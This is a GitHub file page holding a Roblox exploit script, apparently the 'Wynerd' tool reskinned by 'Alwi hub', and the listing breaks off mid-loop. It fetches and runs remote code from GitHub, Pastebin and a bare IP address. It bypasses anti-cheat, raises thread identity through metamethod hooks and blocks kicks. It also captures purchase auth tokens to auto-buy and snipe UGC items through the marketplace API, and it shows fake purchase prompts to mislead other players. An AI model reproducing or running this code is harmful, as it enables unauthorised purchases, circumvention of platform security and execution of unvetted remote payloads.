-
Notifications
You must be signed in to change notification settings - Fork 0
/
BrokenCode.exodez
426 lines (407 loc) · 19.6 KB
/
BrokenCode.exodez
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
-- skid by discord https://discord.com/invite/9HSacrHPzy
-- Adonis bypasser
loadstring(game:HttpGet("https://raw.githubusercontent.com/Pixeluted/adoniscries/main/Source.lua", true))()
skidmyway1 = Instance.new("BindableFunction")
function skidmyway1.OnInvoke(response)
if response == "Execute" then
loadstring(game:HttpGet(("https://raw.githubusercontent.com/Imalwibest/Imalwibest/main/Guardian%20v2.lua"),true))()
end
end
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "NOTICE!";
Duration = 9;
Button1 = "Execute";
Callback = skidmyway1,
Text = "Do u wanna executor protect guardian V2"
})
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = 'Alwi Hub Notice',
Text = 'Purchase exloiting Working On codex,trigon,Arceusx,vega x thanks',
Icon = 'http://www.roblox.com/asset/?id=13398032599',
})
-- the code is extremely messy because something in the code editor fucked it up all at once and for some reason removed indents in some parts of the code while kept indents in some other parts of the code LOL
local LOAD_TIME = tick()
local queueonteleport = queue_on_teleport or queueonteleport
local setclipboard = toclipboard or setrbxclipboard or setclipboard
local clonefunction = clonefunc or clonefunction
local hookfunction =
hookfunc or replacecclosure or detourfunction or replacefunc or replacefunction or replaceclosure or detour_function or
hookfunction
local setthreadidentity = set_thread_identity or setthreadcaps or setthreadidentity
local firetouchinterests = fire_touch_interests or firetouchinterests
local getnamecallmethod = get_namecall_method or getnamecallmethod
local setnamecallmethod = set_namecall_method or setnamecallmethod
local restorefunction = restorefunction or restoreclosure or restorefunc
-- // cloneref function for exploits that dont support it
local a = Instance.new("Part")
for b, c in pairs(getreg()) do
if type(c) == "table" and #c then
if rawget(c, "__mode") == "kvs" then
for d, e in pairs(c) do
if e == a then
getgenv().InstanceList = c;
break
end
end
end
end
end
local f = {}
function f.invalidate(g)
if not InstanceList then
return
end
for b, c in pairs(InstanceList) do
if c == g then
InstanceList[b] = nil;
return g
end
end
end
if not cloneref then
getgenv().cloneref = f.invalidate
end
getrenv().Visit = cloneref(game:GetService("Visit"))
getrenv().MarketplaceService = cloneref(game:GetService("MarketplaceService")) -- // theres a reason why thats referenced in the roblox environment
getrenv().HttpRbxApiService = cloneref(game:GetService("HttpRbxApiService"))
getrenv().HttpService = cloneref(game:GetService("HttpService"))
local CoreGui = cloneref(game:GetService("CoreGui"))
local ContentProvider = cloneref(game:GetService("ContentProvider"))
local RunService = cloneref(game:GetService("RunService"))
local Stats = cloneref(game:GetService("Stats"))
local Players = cloneref(game:GetService("Players"))
local NetworkClient = cloneref(game:GetService("NetworkClient"))
local VirtualUser = cloneref(game:GetService("VirtualUser"))
local ProximityPromptService = cloneref(game:GetService("ProximityPromptService"))
local Lighting = cloneref(game:GetService("Lighting"))
local AssetService = cloneref(game:GetService("AssetService"))
local TeleportService = cloneref(game:GetService("TeleportService"))
local NetworkSettings = settings().Network
local UserGameSettings = UserSettings():GetService("UserGameSettings")
getrenv().getgenv = clonefunction(getgenv)
local message = Instance.new("Message")
message.Text = "loading wynerd"
message.Name =
"💋†ð“ð“˜ð“–ð“–ð“ ! ð“—ð“ð“’ð“š â€ðŸ’‹"
message.Parent = CoreGui
task.wait(0.25)
getgenv().stealth_call = function(script)
getrenv()._set = clonefunction(setthreadidentity)
local old
old = hookmetamethod(game, "__index", function(a, b)
task.spawn(function()
_set(7)
task.wait(0.1)
local went, error = pcall(function()
loadstring(script)()
end)
print(went, error)
if went then
local check = Instance.new("LocalScript")
check.Parent = Visit
end
end)
hookmetamethod(game, "__index", old)
return old(a, b)
end)
end
local function touch(x)
x = x:FindFirstAncestorWhichIsA("Part")
if x then
if firetouchinterest then
task.spawn(function()
firetouchinterest(x, Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"), 1)
wait()
firetouchinterest(x, Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"), 0)
end)
end
x.CFrame = Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
end
end
for i, v in pairs(game.RobloxReplicatedStorage:GetDescendants()) do
pcall(function()
v:Destroy()
end)
end
task.spawn(function()
local discord = loadstring(game:HttpGet("https://raw.githubusercontent.com/Imalwibest/Imalwibest/main/Config%20wynerdV.lua"))()
local win = discord:Window("Wynerd 1.269.4 - redblues edition skided by Alwi hub")
local serv = win:Server("Wynerd", "http://www.roblox.com/asset/?id=6031075938")
local main = serv:Channel("Home")
main:Label("\nThank you for using Wynerd!\nThe #2 UGC Games Penetration Testing Tool! (mine is still better)")
main:Label("Check out the other Discord channels to see our available tools!")
main:Seperator()
-- main:Label("\n\nPlanned:\n- The Explorer you see at the left side of your screen\n- Move some stuff that doesn't belong in their category\n- More features\n- New techniques to get free UGC items from games")
main:Button("my discord", function()
pcall(function()
setclipboard("https://discord.com/invite/nz5Epqm6z2")
end)
end)
main:Toggle("Anti Kick (Client)", false, function(bool)
if bool == "true" then
local kick;
kick = hookmetamethod(game, "__namecall", function(obj, ...)
local args = {...}
local method = getnamecallmethod()
if method == "Kick" then
if args[1] then
discord:Notification("Kick Attempt", "There was an attempt to kick player from client.", "Okay.")
end
return nil
end
return kick(obj, unpack(args))
end)
end
end)
main:Seperator()
main:Button("Update Logs", function()
discord:Notification("Updates", "...", "Okay!")
end)
main:Button("Credits", function()
discord:Notification("Credits", "i forgot, will be putting soon", "Okay!")
end)
local ugc = serv:Channel("UGC Limiteds")
ugc:Label("Looking for Remote Bruteforcing? Check out #Remotes!")
ugc:Seperator()
ugc:Label(
"\nThis will auto purchase any limited that gets prompted!\nThis is recommended to use in the rolimons game.\n")
ugc:Label("With this, you can get #1 serials of web UGC item drops!")
ugc:Toggle("Auto Purchaser", false, function(bool)
if bool then
discord:Notification("Waiting", "Waiting for any free UGC item to be prompted...", "Okay!")
getrenv()._set = clonefunction(setthreadidentity)
local old
old = hookmetamethod(game, "__index", function(a, b)
task.spawn(function()
_set(7)
task.wait()
getgenv().promptpurchaserequestedv2 = MarketplaceService.PromptPurchaseRequestedV2:Connect(
function(...)
discord:Notification("Prompt Detected",
"If this is a UGC item, this script will attempt purchase. Please check console.",
"Okay!")
local startTime = tick()
t = {...}
local assetId = t[2]
local idempotencyKey = t[5]
local purchaseAuthToken = t[6]
local info = MarketplaceService:GetProductInfo(assetId)
local productId = info.ProductId
local price = info.PriceInRobux
local collectibleItemId = info.CollectibleItemId
local collectibleProductId = info.CollectibleProductId
print("Double checking if we got the right info...")
print("PurchaseAuthToken: " .. purchaseAuthToken)
print("IdempotencyKey: " .. idempotencyKey)
print("CollectibleItemId: " .. collectibleItemId)
print("CollectibleProductId: " .. collectibleProductId)
print("ProductId (SHOULD BE 0): " .. productId)
print("Price: " .. price)
print("-------------------------------------------------------")
warn("FIRST PURCHASE ATTEMPT")
for i, v in pairs(MarketplaceService:PerformPurchase(Enum.InfoType.Asset, productId, price,
tostring(game:GetService("HttpService"):GenerateGUID(false)), true, collectibleItemId,
collectibleProductId, idempotencyKey, tostring(purchaseAuthToken))) do
print(i, v)
end
local endTime = tick()
local duration = endTime - startTime
print("Bought Item! Took " .. tostring(duration) .. " seconds")
local input = loadstring(game:HttpGet('https://pastebin.com/raw/dYzQv3d8'))()
input.press(Enum.KeyCode.F9)
end)
end)
hookmetamethod(game, "__index", old)
return old(a, b)
end)
else
getgenv().promptpurchaserequestedv2:Disconnect()
discord:Notification("Stopped", "Stopped waiting for any free UGC item to be prompted...", "Okay!")
end
end)
ugc:Toggle("Auto Purchaser V2 (BETA)", false, function(bool)
if bool then
discord:Notification("Waiting", "Waiting for any free UGC item to be prompted...", "Okay!")
getrenv()._set = clonefunction(setthreadidentity)
local old
old = hookmetamethod(game, "__index", function(a, b)
task.spawn(function()
_set(7)
task.wait()
getgenv().promptpurchaserequestedv2 = MarketplaceService.PromptPurchaseRequestedV2:Connect(
function(...)
discord:Notification("Prompt Detected",
"If this is a UGC item, this script will attempt purchase. Please check console.",
"Okay!")
local startTime = tick()
t = {...}
local assetId = t[2]
local info = MarketplaceService:GetProductInfo(assetId)
pcall(function()
local starttickxd = tick()
local data = '{"collectibleItemId":"' .. tostring(info.CollectibleItemId) ..
'","collectibleProductId":"' .. tostring(info.CollectibleProductId) ..
'","expectedCurrency":1,"expectedPrice":' .. tostring(info.PriceInRobux) ..
',"idempotencyKey":"' ..
tostring(game:GetService("HttpService"):GenerateGUID(false)) ..
'","expectedSellerId":' .. tostring(info.Creator.Id) .. ',"expectedSellerType":"' ..
tostring(info.Creator.CreatorType) ..
'","expectedPurchaserType":"User","expectedPurchaserId":' ..
tostring(game.Players.LocalPlayer.UserId) .. '}'
print(data)
-- setclipboard(data)
_post("https://apis.roblox.com/marketplace-sales/v1/item/" .. tostring(info.CollectibleItemId) .."/purchase-item", data);
wait();
local endTime = tick()
local duration = endTime - startTime
print("Bought Item! Took " .. tostring(duration) .. " seconds")
end)
end)
end)
hookmetamethod(game, "__index", old)
return old(a, b)
end)
else
getgenv().promptpurchaserequestedv2:Disconnect()
discord:Notification("Stopped", "Stopped waiting for any free UGC item to be prompted...", "Okay!")
end
end)
ugc:Button("Teleport to Rolimons UGC Game", function()
TeleportService:Teleport(14056754882, Players.LocalPlayer)
end)
ugc:Seperator()
ugc:Label("\nFake Prompts! (Requested by @atellie)\nPrank people that you got an item!\n")
ugc:Label("This prompts a UGC item but buying it will error.")
ugc:Textbox("Enter the Id of the item you wanna prompt!", "Enter a UGC Item Id...", true, function(t)
local tt = tonumber(t)
if type(tt) == "number" then
local info = MarketplaceService:GetProductInfo(tt)
local CollectibleProductId = info.CollectibleProductId
local CollectibleItemId = info.CollectibleItemId
local Price = info.PriceInRobux
getrenv()._set = clonefunction(setthreadidentity)
local old
old = hookmetamethod(game, "__index", function(a, b)
task.spawn(function()
_set(7)
task.wait()
MarketplaceService:PromptCollectiblesPurchase(Players.LocalPlayer, tt, CollectibleItemId, '', CollectibleProductId, Price)
MarketplaceService:PromptPurchase(Players.LocalPlayer, tt)
end)
hookmetamethod(game, "__index", old)
return old(a, b)
end)
task.wait(0.2)
pcall(function()
Visit:FindFirstChild("LocalScript"):Destroy()
end)
else
discord:Notification("Error", "You must enter an Item ID.", "Okay!")
end
end)
getrenv()._set = clonefunction(setthreadidentity);
local function _post(url, data)
local s, e = pcall(function()
local old1;
old1 = hookmetamethod(game, "__index", function(a, b)
task.spawn(function()
_set(7);
task.wait();
game:GetService("HttpRbxApiService"):PostAsyncFullUrl(url, data);
end);
hookmetamethod(game, "__index", old1);
return old1(a, b);
end);
end)
if not s or e then
warn(e)
end
end
ugc:Seperator()
ugc:Label(
"\nUwU Sniper, Created by Redblue, this is like the good ol' days\ni miss xolo and mewt\nno prompt needed and basically instant \n")
local pastebinUrl = "http://80.143.243.252:6941"
local snipedIds = {}
local snipeIds = {}
local function fetchIds()
local response = game:HttpGet(pastebinUrl)
print("Pastebin Contents: " .. response) -- Print the Pastebin contents
snipeIds = {}
for id in string.gmatch(response, "%d+") do
id = id:gsub("%s+", "") -- Trim any whitespace
if not snipedIds[tonumber(id)] then
table.insert(snipeIds, tonumber(id))
end
end
print("Parsed IDs: " .. table.concat(snipeIds, ", ")) -- Print parsed IDs
end
local snpespeed = 0.15
local buylimit = 1
local amountbought = 0
local freecheck = false
local booleanbooby
local xd = 0
local breakLoopp = false
ugc:Textbox("Enter the Speed of the Sniper!", "Enter a Speed...", false, function(t)
snpespeed = tonumber(t)
end)
ugc:Textbox("Enter the Buy Limit!", "Enter a Limit...", false, function(t)
buylimit = tonumber(t)
end)
ugc:Toggle("Check if its free", freecheck, function(bool)
freecheck = bool
end)
ugc:Toggle("Enable UwU Sniper (No Prompt Needed)", false, function(bool)
amountbought = 0
booleanbooby = bool
breakLoopp = false
if booleanbooby == true then
xd = 0
spawn(function() -- Start a new thread to fetch IDs continuously
while booleanbooby and not breakLoopp do
fetchIds()
wait(0.001) -- Check every millisecond
end
end)
end
spawn(function()
while booleanbooby and not breakLoopp do
for _, snipeid in ipairs(snipeIds) do
if not snipedIds[snipeid] then
local info = game:GetService("MarketplaceService"):GetProductInfo(snipeid)
pcall(function()
xd = xd + 1
print("Sniping! Checks: " .. tostring(xd))
if info.IsForSale == true then
local starttickxd = tick()
local data = '{"collectibleItemId":"' .. tostring(info.CollectibleItemId) ..
'","collectibleProductId":"' .. tostring(info.CollectibleProductId) ..
'","expectedCurrency":1,"expectedPrice":' .. tostring(info.PriceInRobux) ..
',"idempotencyKey":"' ..
tostring(game:GetService("HttpService"):GenerateGUID(false)) ..
'","expectedSellerId":' .. tostring(info.Creator.Id) .. ',"expectedSellerType":"' ..
tostring(info.Creator.CreatorType) ..
'","expectedPurchaserType":"User","expectedPurchaserId":' ..
tostring(game.Players.LocalPlayer.UserId) .. '}'
print(data)
-- setclipboard(data)
if freecheck == true then
if info.PriceInRobux == 0 then
_post("https://apis.roblox.com/marketplace-sales/v1/item/" ..
tostring(info.CollectibleItemId) .. "/purchase-item", data)
amountbought = amountbought + 1
end
else
_post(
"https://apis.roblox.com/marketplace-sales/v1/item/" .. tostring(info.CollectibleItemId) ..
"/purchase-item", data)
amountbought = amountbought + 1
end
wait()
local endtickxd = tick()
local durationxd = endtickxd - starttickxd
print("Bought Item! Took " .. tostring(durationxd) .. " seconds")
task.wait(1)
snipedIds[snipeid] = true
end
end)